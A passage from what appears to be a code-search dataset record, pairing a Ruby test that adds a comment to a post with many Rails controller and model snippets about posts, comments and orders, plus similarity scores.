@post.user_id = current_user.id\n\n if @post.save!\n flash[:success] = \"Post created!\"\n \n \n \n else\n flash[:failure] = \"Failed to create post!\"\n end\n redirect_to room_path(@room)\n \n end", "def validate_post_owner(params)\n if params[\"id\"]\n return true\n else\n return false\n end\n end", "def check_post_owner\n json_response({ error: 'Not authorized' }, :unauthorized) unless @post.user_id == current_user.id\n end", "def create\n @post = Post.new(post_params)\n @post.blog = Blog.find(params[:blog_id])\n\n respond_to do |format|\n if @post.duplicate? or @blog.posts << @post\n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to blog_posts_url(:id => @post) }\n elsif @post.save\n format.html { redirect_to blog_posts_path, notice: 'Post was successfully created.' }\n format.xml { head :created, :location => post_url(@post) }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.xml { render :xml => @post.errors.to_xml }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def can_bill? usr\n !posts.detect { |post| post.can_bill? usr }.nil?\n end", "def fetch_create_post\n end", "def post?\n request.request_method == 'POST'\n end", "def create\n\n current_user_or_redirect ? nil : return\n\n @post = Post.new(params[:post])\n @post.user_id = @current_user.id\n\n if @post.link?\n @post.status = 'live'\n @post.link = \"http://#{@post.link}\" unless @post.link[/^https?/]\n end\n\n respond_to do |format|\n if @post.save\n @post.delay.update_slug\n @post.delay.add_interactions\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def available?\n new_record? || (submissions.none? && !grant.published?)\n end", "def test_create_on_post\n post :create,\n :post_id => posts(:by_quentin).id,\n :content => 'This is a test note from aaron...'\n assert_response :redirect\n end", "def create?\n # false # no access\n user.present? # minimum requirement for creating records \n # like posts or comments is that a user exist and be logged in. \n end", "def can_submit\n redirect_to problem_path(@problem) and return if @no_new_submission\n if current_user.sk.submissions.where(:problem => @problem, :status => [:draft, :waiting]).count > 0\n redirect_to problem_path(@problem) and return\n end\n end", "def ready_for_submission?\n true\n end", "def post_type_supports(post_type, feature)\n !Railspress.GLOBAL._wp_post_type_features[post_type][feature].nil?\n end", "def load_and_authorize_resource\n user = current_user\n user ||= User.new # guest user (not logged in)\n \n post = Post.find(params[:id])\n \n # If the post will be destroyed in the next cron job, tell the user\n # it is already gone.\n if not post.burn_after_date.nil? and post.burn_after_date < Time.now\n obscure_existence\n return\n end\n \n if post.user == current_user\n @post = post\n return\n end\n \n if post.public and post.random_token == params[:random_token]\n @post = post\n return\n # has access\n end\n \n obscure_existence\n \n end", "def post?\n # return true\n dynos_maxed_out? or queue_depth_too_long? or queue_depth_too_short? or idle_dynos?\n end", "def auto_manage?\n return auto_post? && auto_update?\n end", "def recipient_can_bill?\n !posts.detect { |post| post.can_bill? recipient }.nil?\n end", "def require_creator\n unless logged_in? && current_user = @post.user\n flash[:error] = \"Can't be done\"\n redirect_to root_path\n end\n end", "def create_post\n\t\tassignment_id = params[:assignment_id]\n\n\t\tassignment = Assignment.find(assignment_id)\n\t\tgroup_id = assignment.group_id\n\n\t\t\n\t\tpost = Post.create({\n\t\t\tcontent: params[:content],\n\t\t\tpublished_at: DateTime.now\n\t\t\t})\n\n\t\tassignment.posts << post\n\t\tassignment.save\n\n\t\tpost.author = @authenticated_user\n\t\tpost.save\n\n\t\tredirect_to group_db_show_url(group_id)\n\t\treturn\n\tend", "def isAnnouncementPost\r\n\t\t\t\t\treturn @isAnnouncementPost\r\n\t\t\t\tend", "def can_publish?\n\t\ttrue\n\tend", "def is_comment_creation?\n request.post? && request.request_parameters['comment'].present?\n end", "def add_post(post)\n @posts << post #pushes post into post array so that we can compare the author with that author\n post.author = self\nend", "def addable_entries?(page)\n page.sets.first && page.sets.first.addable_entries?\n end", "def create\n if current_user.admin\n @post = Post.new(post_params)\n @post.user = current_user\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Postitus edukalt loodud!\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n else\n flash[:notice] = 'You dont have permission to do that!'\n redirect_to posts_path\n end\n\n end", "def create\n @user = current_user #User.find(params[:user_id])\n @post = Post.new(post_params)\n @post.user = @user\n @post.tag_list = params[:tag_list] || ''\n\n\n if ( params[:post][:game_id].to_i > 0 )\n @game = Game.find(params[:post][:game_id])\n if @game.owner == current_user\n @post.game = @game\n end\n end\n\n if ( params[:post][:character_id].to_i > 0 )\n @character = Character.find(params[:post][:character_id])\n if @character.owner == current_user\n @post.character = @character\n end\n end\n\n logger.info \"create params: \" + params.inspect\n\n if !current_user.admin?\n params[:is_system_announcement] = false\n params[:is_game_announcement] = false\n end\n \n respond_to do |format|\n if @post.save\n @post.create_poll(params[:poll], params[:choices]) if params[:poll]\n \n flash[:notice] = @post.category ? :post_created_for_category.l_with_args(:category => @post.category.name.singularize) : :your_post_was_successfully_created.l\n format.html { \n if @post.is_live?\n if !@post.game.nil?\n redirect_to seo_game_path(@post.game)\n elsif !@post.character.nil?\n redirect_to seo_character_path(@post.character)\n else\n redirect_to user_path(@user)\n end\n else\n redirect_to manage_user_posts_path(@user)\n end\n }\n format.js\n else\n format.html { render :action => \"new\" }\n format.js \n end\n end\n end", "def duplicate?\n\t\tpost = Post.find_by_blog_id_and_title_and_body(blog_id, title, body)\n\t\tself.id = post.id unless post.nil?\n\t\tnot post.nil?\n\tend", "def create\n @post = Post.new(post_params)\n # authorize! :create, @post\n @post.user_id = current_user.id\n if current_user.is_admin\n @post.published = true\n else\n @post.published = false\n end\n respond_to do |format|\n if @post.save\n format.html { redirect_to dashboard_index_path, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n can_create\n @post = Post.new(post_params)\n @post.user = current_user\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def can_create?(obj)\n false\n end", "def can_create?(obj)\n false\n end", "def put_can_create?\n false\n end", "def create\n @post = current_user.posts.new(params[:post])\n @post.edited_at = Time.current\n @post.published_at = Time.current if params[:publish]\n if @post.save\n flash[:success] = \"Post criado com sucesso.\"\n redirect_to admin_posts_path\n else\n @page_title = \"Novo Post\"\n render :action => 'new'\n end\n end", "def create\n if params[:post][:repost_id]\n #Adding if clicking repost, deleting if unclicking repost\n repost_id = (params[:post][:repost_id]).to_i\n repost_exist = current_user.posts.all.select do |post|\n if post.repost_id == repost_id\n post\n end\n end\n if repost_exist.length > 0\n Post.destroy(repost_exist.first.id)\n else\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n @post.save\n end\n else\n @post = Post.new(params[:post])\n sentiment_data_json = Sentimentalizer.analyze(params[:post][:content])\n sentiment_data = JSON.parse(sentiment_data_json)\n sentiment_smiley = sentiment_data[\"sentiment\"]\n if sentiment_smiley == \":)\"\n @post.sentiment = true\n else\n @post.sentiment = false\n end\n @post.sentiment_prob = sentiment_data[\"probability\"]*100\n @post.user_id = current_user.id\n @post.save\n end\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Post was successfully created.' }\n format.json { render json: @posts, status: :created, location: @post }\n end\n end", "def verify_bloggable\r\n\t\tunless blog_writer?\r\n\t\t\tflash[:error] = \"You do not have permission to see this blog\"\r\n\t\t\treturn (redirect_to( :action => 'index' ))\r\n\t\tend\r\n true\r\n\tend", "def create\n \n unless current_user.can_post\n redirect_to welcome_page_path\n end\n \n @post = Post.new\n @post.user = current_user\n @post.privly_application = params[:post][:privly_application]\n\n # Posts default to Private\n if params[:post][:public]\n @post.public = params[:post][:public]\n else\n @post.public = false\n end\n\n set_burn_date\n \n # The random token will be required for users other than the owner\n # to access the content. The model will generate a token before saving\n # if it is not assigned here.\n @post.random_token = params[:post][:random_token]\n \n @post.update_attributes(params[:post])\n \n respond_to do |format|\n if @post.save\n response.headers[\"X-Privly-Url\"] = @post.privly_URL\n format.any { render :json => get_json, \n :status => :created, :location => @post }\n else\n format.any { render :json => @post.errors, \n :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n if @post.save\n redirect_to posts_path, :notice => t(:post_added)\n else\n render :action => \"new\"\n end\n end", "def validate_post_input(forum, topic, message)\n raise Impostor::PostError.new(\"forum not set\") unless forum\n raise Impostor::PostError.new(\"topic not set\") unless topic\n raise Impostor::PostError.new(\"message not set\") unless message\n true\n end", "def create\n @post = Post.new(params[:post])\n authorize! :create, @post\n unless params[:author].blank?\n @post.users << User.find(params[:author])\n end\n logger.debug \"Going to save #{Rails.logger.level} #{@post.title.inspect} #{params[:post]}\"\n respond_to do |format|\n if @post.save_post?\n logger.debug \"Saved successfully #{@post.title.inspect}\"\n format.html { redirect_to(@post, :notice => 'Post was successfully created.') }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n logger.debug \"Could not save #{@post.title.inspect}\"\n flash[:alert] = \"Slug cannot be created\"\n format.html { render 'new' }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\tpost = @current_user.posts.create(post_params) \n\t\tif post.save\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id}\n\t else\n\t render json: {success: false, errors: post.errors.full_messages, message: \"Validation failed\"}, status: 422\n\t\tend \n\tend", "def add_post(post)\n @posts << post\n post.author = self\n @@post_count += 1\n end", "def add_post(post)\n @posts << post\n post.author = self\n @@post_count += 1\n end", "def create\n @post = Post.new(post_params)\n if ( @post.user_id != current_user.id )\n redirect_to posts_path, notice: 'Undifined user, post was not successfully created.'\n else\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def following?(post)\n posts.include?(post)\n end", "def create\n success = false\n notice = \"\"\n if current_user != nil\n @post = Post.new(post_params)\n @post.event.post_count += 1\n @post.event.save!\n if @post.save\n success = true\n notice = \"Post was successfully created\"\n end\n end\n \n respond_to do |format|\n if success == true\n format.html { redirect_to @post, notice: \"#{notice}\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def already_uploaded?\n false\n seen_before = Zaphod::PhotoStorage.get(\"seen_id_#{@post_id}\",\"recommendation\")\n if seen_before && seen_before == @post_id\n @log.debug(\"already uploaded ID #{seen_before}... skipping\")\n true\n end\n end", "def for_post?\n self.checkin_id.blank?\n end", "def check_add_comment_access\r\n return true if logged_in?\r\n return false\r\n end", "def postponed?\n @postponed\n end" ]
[ "0.73170227", "0.7270087", "0.7250163", "0.71660525", "0.71120405", "0.7099603", "0.69570595", "0.67883915", "0.67574406", "0.6746768", "0.6736897", "0.6647308", "0.66458845", "0.6602758", "0.64949626", "0.64761287", "0.64258635", "0.63795084", "0.6350008", "0.6336586", "0.63256615", "0.6297134", "0.6286316", "0.62816465", "0.62710166", "0.6255923", "0.62475336", "0.62323594", "0.61572456", "0.61184406", "0.61168295", "0.6114912", "0.6114564", "0.6110462", "0.6099683", "0.6071294", "0.60586154", "0.605683", "0.6051205", "0.6049658", "0.6039292", "0.6023996", "0.6019679", "0.60155314", "0.6008767", "0.60048723", "0.5965588", "0.5956454", "0.5954981", "0.59511495", "0.5948944", "0.59388536", "0.59329253", "0.59319526", "0.5930956", "0.592878", "0.59264195", "0.59152925", "0.591298", "0.5908331", "0.5903282", "0.5899841", "0.58923197", "0.5886057", "0.58799654", "0.58795637", "0.5872249", "0.5863478", "0.585972", "0.585882", "0.58586156", "0.58522564", "0.584819", "0.5848055", "0.5844595", "0.584375", "0.5838195", "0.5836242", "0.5834045", "0.5816891", "0.5812144", "0.5812144", "0.57947135", "0.57920456", "0.5791922", "0.5789551", "0.5788669", "0.5786183", "0.5779125", "0.577831", "0.5775846", "0.5770922", "0.5770922", "0.5769657", "0.5767062", "0.5761427", "0.576141", "0.5751004", "0.5745332", "0.5741099" ]
0.5777686
90
Test if we can add a comment to a post
def test_add_comment_to_post nc = @normal_post.number_of_comments @normal_post.comments << @comment assert_equal(nc + 1, @normal_post.number_of_comments) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def can_create_comment?(post); true; end", "def can_have_comments?\n self.post?\n end", "def is_comment_creation?\n request.post? && request.request_parameters['comment'].present?\n end", "def check_add_comment_access\r\n return true if logged_in?\r\n return false\r\n end", "def comment?\n @params[\"activity_type\"] == \"comment-add\"\n end", "def can_be_commented?\n hash.key?('comments_url') && hash.key?('comments_count')\n end", "def accepts_new_comments?\n commentable? && !feature.active_step_settings.comments_blocked\n end", "def comments?\n comments.present?\n end", "def has_comments?\n comments.size > 0\n end", "def allow_comment?(user) \n # for now, we allow everyone\n return true \n end", "def has_comments?\n !comments.blank?\n end", "def has_comments? # rubocop:disable Naming/PredicateName\n !comments.empty?\n end", "def allows_comments?\n self.can_have_comments? && self.comment_period_open?\n end", "def add_comment(text)\n resp = self.class.post(\"/api/comment\", {:body => {:thing_id => id, :text => text, :uh => modhash, :r => subreddit }, :headers => base_headers, :debug_output => @debug })\n resp.code == 200\n end", "def has_comments?\n @comments_count > 0\n end", "def allows_comment?(a_person=nil)\n self.alive?\n end", "def supports_comments_in_create?\n false\n end", "def supports_comments_in_create?\n false\n end", "def comment_exists_when_rejected\n return if accepted || comment.present?\n\n errors.add(:comment, \"can't be blank when accepted is false\")\n end", "def can_request?(post)\n post[:post_id] != posts\n end", "def comments?\n !!user && user.admin?\n end", "def can_see_comment?(comment); comment.user.admin?; end", "def allows_comments?\n !SITE[:disable_comments] && (self.rule.get_option(:comments).nil? ? default_allows_comments? : self.rule.get_option(:comments)) rescue true\n end", "def add_comment\n data = request.subset(:post_id, :username, :comment)\n comment = Comment.new\n\n # If the user is logged in the user_id field should be set instead of the\n # username field.\n if logged_in?\n data.delete('username')\n data['user_id'] = user.id\n end\n\n begin\n comment.update(data)\n flash[:success] = 'The comment has been added'\n rescue => e\n Ramaze::Log.error(e)\n\n flash[:form_errors] = comment.errors\n flash[:error] = 'The comment could not be added'\n end\n\n redirect_referrer\n end", "def can_comment_document?(doc = nil)\r\n self.can_edit_document?(doc)\r\n end", "def allow_comments?\n !!@allow_comments\n end", "def set_comment_allowed\n post.comments_allowed = allow_comments?\n true\n end", "def comment?\n @contents[0] == :comment\n end", "def comments?\n @comments_on === true\n end", "def accept_comments?\n !locked?\n end", "def can_comment?(person)\n self.reviewer != person && !commented_by?(person)\n end", "def valid?\n return false if @post_id.nil?\n return false if @user_id.nil?\n return false if @comments_text.nil? || @comments_text.length > 1000\n\n true\n end", "def commentable?\n feature.settings.comments_enabled?\n end", "def already_commented_by_user?(the_user)\n !self.comments.where([\"user_id = ?\", the_user.id]).empty?\n end", "def test_03_comment_on_post_as_member\n end", "def comment?\n type == COMMENT_NODE\n end", "def can_comment?(person)\n (self.preapproved? || self.open?) && person == self.person\n=begin \n if self.preapproved? || self.open?\n if self.comments.last\n (self.comments.last.person.is_a?(Client) && person.is_a?(Advocate)) ||\n (self.comments.last.person.is_a?(Advocate) && person.is_a?(Client))\n else\n # no comments, yet, client can comment\n person == self.person\n end\n else\n false\n end\n=end \n end", "def has_comments?\n\t\tmenu_comments.exists?\n\tend", "def is_reply_allowed?(comment)\n if comment.parent_id.nil?\n true\n # redirect_to(post, :alert => \"You are not allowed man to reply a reply! Don't even try boy, it could cost you the life!\")\n end\n end", "def are_there_comments?\n @comments.size > 0\n end", "def maybe_is_it?\n @comments.detect do |comment|\n comment['works_for_me']\n end\n end", "def test_adding_comment\n @post.comments.create :body => \"my test comment\"\n @post.reload\n assert_equal 2, @post.comments.size\n end", "def is_valid? comment\n if MySettings.enable_recaptcha\n return false unless verify_recaptcha(model: comment)\n flash[:danger] = I18n.t 'comment.create.wrong_recaptcha'\n end\n comment.valid?\n end", "def comment?\n node_type == COMMENT_NODE\n end", "def test02_flag_repost_article_TC_24323\n\t\trepostArticlePop\n\t\tsleep 2\n\t\trepost\n\t\tcommentFlag\n\t\tsleep 2\n\t\t\n\t\tbegin\n\t\tassert $browser.text.include?(\"Comment\")\n\t\trescue => e\n\t\t\tputs e\n\t\tputs \"R8_T2: FAILED! User unable to flag post.\"\n\t\tend\n\tend", "def comments_admin?\n admin?\n end", "def authorized_user? comment\n comment.user_id == current_user.id || comment.post.user_id == current_user.id\n end", "def ensure_valid_commentable\n errors.add(:commentable, :invalid) unless commentable.respond_to?(:commentable?) && commentable.commentable?\n end", "def allows_comment?(a_person=nil)\n (self.active? || self.accepted?)\n end", "def comment\n @comment ||= client.issue_comments(repository, pr_id).detect do |comment|\n UrlSectionBuilder.match?(comment[:body])\n end\n end", "def comment_check(options = {})\n !@@valid_responses.include?(call_akismet('comment-check', options))\n end", "def is_comment?\n self.object_type.downcase.to_s == \"comment\" || self.object_type.blank?\n end", "def supports_comments?\n false\n end", "def supports_comments?\n false\n end", "def comment?\n [\"text\", \"text_wholepage\"].include?(@type)\n end", "def duplicate?\n c = Comment.find_by_trip_id_and_user_id_and_body(trip, user, body)\n # Give self the id for REST routing purposes.\n self.id = c.id unless c.nil?\n not c.nil?\n end", "def comments\n @article.commentable ? @article.comments : false\n end", "def still_commentable?\r\n commentable? && !comments_closed? && (!commentable_period || Time.now - self.created_at < commentable_period)\r\n end", "def is_it_for_sure?\n @comments.any? do |comment|\n comment['version'] == @spec.version and comment['works_for_me']\n end\n end", "def add_to_post(post, all_comments)\n all_comments.each do |comment|\n post.add_comments(comment)\n end\nend", "def add_comment(comment); end", "def canCommentPage(session)\n\n #CuppaUser user = GlobalSettings.getUser(session);\n #return (user != null && user.userIsAdmin());\n end", "def add_new_comment\n\t# Get the object that you want to comment\n\tcommentable = Post.find(params[:id])\n\n\t# Create a comment with the user submitted content\n\tcomment = Comment.new(comment_params)\n\t# Add the comment\n\tcommentable.comments << comment\n\t@comments = commentable.comments\n respond_to do |format|\n\t format.html { redirect_to root_path }\n\t format.js\n\tend\n end", "def motivatedByCommenting?\n motivatedByCommenting.length > 0\n end", "def can_create?(doc_type)\n doc_type.eql?(\"comments\")\n end", "def allow_comments?\n case @comments\n when :guess\n @prompt && !@prompt.empty? && !end_chars.include?('#')\n else\n @comments\n end\n end", "def comment_finished?\n\t\t\n\tend", "def posted?\n post.present?\n end", "def test_02_comment_on_post_as_guest\n end", "def commenting_allowed?\n return false if owner.commenting_banned == true\n return true if owner.commenting_allowed\n\n if owner.supporter?\n set commenting_allowed: true\n save_changes validate: false\n return true\n else\n return false if owner.commenting_too_much?\n end\n\n if (account_sites_events_dataset.exclude(site_change_id: nil).count >= COMMENTING_ALLOWED_UPDATED_COUNT || (created_at < Date.new(2014, 12, 25).to_time && changed_count >= COMMENTING_ALLOWED_UPDATED_COUNT )) &&\n created_at < Time.now - 604800\n owner.set commenting_allowed: true\n owner.save_changes validate: false\n return true\n end\n\n false\n end", "def add_comment\n if current_user.id.to_s == params[:user_id].to_s\n comment = Comment.new(:user_id => params[:user_id], :post_id => params[:post_id],\\\n :content => params[:content], :upvotes => 0, :downvotes => 0, :rank => 0)\n comment.save!\n end\n end", "def must_be_moderator_or_commentor\n login_required_as_moderator_or_researcher(@comment.researcher, post_path(@post))\n end", "def commentable_title\n \"Undefined Post Title\"\n end", "def permitted_to_comment?(user)\n self.is_writable? && self.is_commentable? && self.permitted_to_read?(user)\n end", "def can_manage_post\n raise ActionController::RoutingError 'Forbidden' if current_user.nil? || cannot?(:manage, @post)\n true\n end", "def commented_by?(person)\n !!self.comments.find(:first, :conditions => [\"comments.person_id = ?\", person.id])\n end", "def test_has_content\n assert(!@contentless_post.has_content?)\n end", "def liked_comment?(comment)\n liked_comments.include? comment\n end", "def comment?\n @kind == :line_comment || @kind == :block_comment\n end", "def comment_add(name)\n if name !~ /\\w=/ # We accept 'name=' in case you want to leave the value empty\n raise FlacInfoError, \"comments must be in the form 'name=value'\"\n end\n begin\n @comment[@comment.length] = name\n @comments_changed = 1\n rescue\n return false\n end\n return true\n end", "def peer_auditor_issue?\n self.auditor_result == 'Comment'\n end", "def create\n #if @user && @user.posts.include(@post)\n @comment = @post.comments.create!(comment_params)\n json_response(@comment, :created)\n end", "def comment_moderator? comment\n id == comment.holder_id\n end", "def valid_post?\n @post.blog == @blog\n end", "def add_comment\n return client.add_comment(repository, pr_id, report_urls.comment_body) unless comment\n\n client.update_comment(repository, comment[:id], report_urls.comment_body(comment[:body]))\n end", "def create\n @post = Post.find(params[:post_id])\n @comment = @post.comments.new(comment_params)\n\n respond_to do |format|\n if current_user.comments << @comment\n format.js\n else\n format.html { render 'post/show' }\n end\n end\n end", "def test_new_comment\n\n success = Comment.newComment(\"hello\", 1, 1);\n\n assert_equal true, success\n\n successTwo = Comment.newComment(nil, 1, 1);\n\n assert_equal false, successTwo\n \n end", "def notifies_commenter? # ...of direct responses to this comment\n wants_notifications?\n end", "def check_comment(options={})\n return false if invalid_options?\n message = call_akismet('comment-check', options)\n {:spam => !self.class.valid_responses.include?(message), :message => message}\n end", "def test_01_comment_on_post_as_unregistered_user\n published_post = Post.published.first\n post :create, {:post_id => published_post.id }\n assert_not_nil assigns['post']\n comment = assigns['comment']\n assert_not_nil comment\n assert comment.errors['user_name']\n assert comment.errors['user_email']\n assert comment.errors['body']\n\n # now a successful comment\n post :create, {:post_id => published_post.id,\n :comment => {\n :user_name => 'El Rug',\n :user_email => 'elurg@example.com',\n :body => 'Very nice. Whatever.'\n }}\n \n assert_not_nil assigns['post']\n comment = assigns['comment']\n assert comment.errors.empty?\n assert_equal false, comment.published?\n end", "def create\n @post = Post.find(params[:post_id])\n @comment = @post.comments.create(params[:comment])\n @comment.researcher = logged_in_researcher\n\n if @comment.save\n respond_to do |format|\n format.html { redirect_to post_path(@post), :notice => \"Comment was successfully added.\" }\n format.xml { render :xml => @comment, :status => :created, :location => @comment}\n format.json { render :json=> @comment, :status => :created, :location => @comment}\n end\n else\n respond_to do |format|\n format.html { redirect_to post_path(@post), :alert => \"Failed to add comment: #{@comment.errors.full_messages.join(', ')}\" }\n format.xml { render :xml => @comment.errors, :status => :unprocessable_entity }\n format.json { render :json=> @comment.errors, :status => :unprocessable_entity }\n end \n end\n end", "def isCommentCreator(current_user, comment_id)\n Comment.where(:user_id => current_user, :id => comment_id).exists? \n end", "def isCommentCreator(current_user, comment_id)\n Comment.where(:user_id => current_user, :id => comment_id).exists? \n end", "def test03_flag_repost_event_TC_24323\n\t\trepostEventPop\n\t\tsleep 2\n\t\trepost\n\t\tcommentFlag\n\t\tsleep 2\n\t\t\n\t\tbegin\n\t\tassert $browser.text.include?(\"Comment\")\n\t\trescue => e\n\t\t\tputs e\n\t\tputs \"R8_T3: FAILED! User unable to flag post.\"\n\t\tend\n\tend", "def create\n \tnew_comment = params.require(:comment).permit(:body)\n \tpost = Post.find(params[:post_id])\n \tcomment = post.comments.create(new_comment)\n\n \tredirect_to post_comment_path(post, comment)\n end", "def comments_have_votes?\n true\n end", "def commentable_title\n \"Undefined Post Title\"\n end", "def validate_comment(comment)\n if comment.content.length < Loudmouth.min_comment_length\n flash[:error] = \"Comments must be at least #{Loudmouth.min_comment_length} characters in length.\"\n return false\n end\n \n if Loudmouth.max_comment_length > 0 and\n comment.content.length > Loudmouth.max_comment_length\n flash[:error] = \"Comments cannot be more than #{Loudmouth.max_comment_length} characters in length.\"\n return false\n end\n true\n end", "def comment?; end", "def comment?; end" ]
[ "0.8473132", "0.78050846", "0.7210564", "0.7093226", "0.6989414", "0.6951286", "0.6887808", "0.6841043", "0.6840276", "0.6768204", "0.6732097", "0.67305493", "0.67109066", "0.6699442", "0.66292524", "0.66136503", "0.66127545", "0.66127545", "0.6601555", "0.65573275", "0.6544753", "0.65403533", "0.65141916", "0.6500036", "0.6493517", "0.6470355", "0.6464455", "0.64436066", "0.64344186", "0.6408147", "0.6369371", "0.6355787", "0.63555294", "0.6350853", "0.6343761", "0.63009125", "0.6272073", "0.62585783", "0.625446", "0.62470055", "0.6229344", "0.6222044", "0.61905986", "0.61861557", "0.6185158", "0.61839825", "0.6177475", "0.61666685", "0.6148807", "0.61388457", "0.61249036", "0.6109949", "0.6093128", "0.6093128", "0.6081682", "0.60601765", "0.60350615", "0.6031989", "0.6011371", "0.6011021", "0.6009715", "0.59947515", "0.5986412", "0.59747595", "0.59735435", "0.5971492", "0.5970133", "0.5969831", "0.5962834", "0.5955314", "0.59503233", "0.5943956", "0.59425676", "0.5941018", "0.5934512", "0.59335357", "0.59274894", "0.59163886", "0.5914805", "0.5914096", "0.5912775", "0.59089637", "0.59072053", "0.5898947", "0.5897703", "0.58935314", "0.5885299", "0.58768344", "0.5876766", "0.5875969", "0.58573097", "0.585142", "0.585142", "0.58391213", "0.58334965", "0.5829733", "0.5813796", "0.5813175", "0.5809495", "0.5809495" ]
0.69220555
6
Test if the order is correct (from newest to oldest)
def test_ordered posts = Post.all assert_equal(Post.ordered, posts.sort {|a,b| b.created_at <=> a.created_at}) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid_ordering?(proposed_ordering)\n question_assessments_hash.keys.sort == proposed_ordering.sort\n end", "def valid_ordering?(proposed_ordering)\n question_assessments_hash.keys.sort == proposed_ordering.sort\n end", "def check_order\n return if order.present? && Faq.where(order: order).where.not(id: id).empty?\n self.order = begin\n Faq.order(order: :desc).limit(1).first.order + 1.0\n rescue\n 1\n end\n end", "def valid_ordering?(proposed_ordering)\n questions_hash.keys.sort == proposed_ordering.sort\n end", "def fix_ude_approval_order_gaps?\n return false if self.reviewers.size == 0\n fixes_made = false\n\n last_o = 0\n self.reviewers.sort_by{|ude|ude.approval_order}.each do |ude|\n if ude.approval_order - last_o > 1\n ude.approval_order = last_o + 1\n ude.save\n fixes_made = true\n end\n last_o = ude.approval_order\n end\n max_o = last_o\n last_o = 0\n self.others_notified.sort_by{|ude|ude.approval_order}.each do |ude|\n if ude.approval_order > max_o\n ude.approval_order = max_o\n ude.save\n fixes_made = true\n end\n end\n return fixes_made\n end", "def is_not_ordered()\n if (placed_date)\n return false\n else\n return true\n end\n end", "def valid_ordering?(proposed_ordering)\n achievements_hash.keys.sort == proposed_ordering.sort\n end", "def order?\n !order.nil?\n end", "def is_ordered?\n # TODO Stubbed - Requires definition and implementation\n end", "def complete?()\n if (self.order_in_lines.length == 0)\n return false\n end\n self.order_in_lines.each do | line |\n if (line.qty < line.qty_in)\n return false\n end\n end\n return true\n end", "def valid_order?(order)\n valid_orders.include? order.to_s\n end", "def inconsistent?(x)\n if @date_added > @date_modified or\n x.date_added > x.date_modified\n# @date_added != x.date_added or\n# @date_modified > x.date_modified\n\n return true\n end\n false\n end", "def is_ordered?\n # TODO Stubbed to always return false until ordered lists are implemented\n return false\n end", "def order_completable?\n force_completion || actual_end_at || reserve_end_at < Time.current\n end", "def first_order?\n orders_count <= 1\n end", "def validate_order!\n _validate_order!\n rescue AASM::InvalidTransition => e\n false\n end", "def check_task_order\n # Checks if column is present\n # (not column id because an id that does not belong to a column can be provided)\n # in case this valdiation is run before the one that checks the presence of column\n # If column is nil the comparison inside the if failed\n # the same goes for column order\n if column.present? && self.task_order.present?\n if self.task_order > self.column.tasks.count + 1\n errors.add(:task_order, 'must be maximum last task order + 1')\n end\n end\n end", "def eligible?(order, _options = {})\n return false unless order.user\n\n last_order = last_completed_order(order.user)\n return false unless last_order\n\n last_order.completed_at < preferred_days_ago.days.ago\n end", "def is_order_next?(order)\n @queue.peek == order\n end", "def check_order\n rps = RankParticipant.all\n\n #sort the rank participants and extract an array of only the ranks (that are sorted)\n all_ranks_sorted = rps.sort_by { |x| [x.rank] }.map { |rp| rp.rank }\n\n #array of missing ranks\n @missing = []\n\n all_ranks_sorted.each_with_index do |item, index|\n if index > 0\n #difference between consecutive ranks, should be 1\n difference = all_ranks_sorted[index] - all_ranks_sorted[index - 1]\n\n if difference > 1\n @missing.concat(((all_ranks_sorted[index - 1] + 1)...(all_ranks_sorted[index])).to_a)\n end\n end\n end\n end", "def first_order?\n self.order_num === 1\n end", "def check_empty_order(items)\r\n flag = items.item.length\r\n items.item.each do |h|\r\n (flag -= 1) if h[:num] == 0\r\n end\r\n return true if flag == 0\r\n return false\r\nend", "def out_of_date\n last_order_detail = self.order_details.order(\"created_at DESC\").first\n last_priced = self.product_prices.order(\"created_at DESC\").first\n\n if last_order_detail.nil?\n last_date = self.updated_at\n else\n last_date = last_order_detail.updated_at\n end\n\n if last_priced.present?\n if last_date < last_priced.created_at\n last_date = last_priced.created_at\n end\n end\n\n return (self.stock <= 0 and last_date < Time.now - 6.months)\n end", "def order(thing)\n puts \"You've ordered #{thing}\"\n if thing.length > 10\n return true\n end\n return false\nend", "def sorted?\n if first_item.nil?\n return 1\n end\n if first_item == first_item.next_list_item\n return 1\n end\n # puts \"\\n 100 first_item.payload = #{first_item.payload} \\nfirst_item.next_list_item.payload = #{first_item.next_list_item.payload} \"\n if first_item.payload != first_item.next_list_item.payload\n # puts \"\\n first_item.payload = #{first_item.payload} \\nfirst_item.next_list_item.payload = #{first_item.next_list_item.payload} \"\n return 1\n else\n # puts \"\\n -1 yo\"\n return -1\n end\n # if first_item.payload != first_item.next_list_item.payload\n # if first_item.payload > first_item.next_list_item.payload\n # return true\n # else\n # return false\n # end\n # end\n end", "def test_empty\n order = 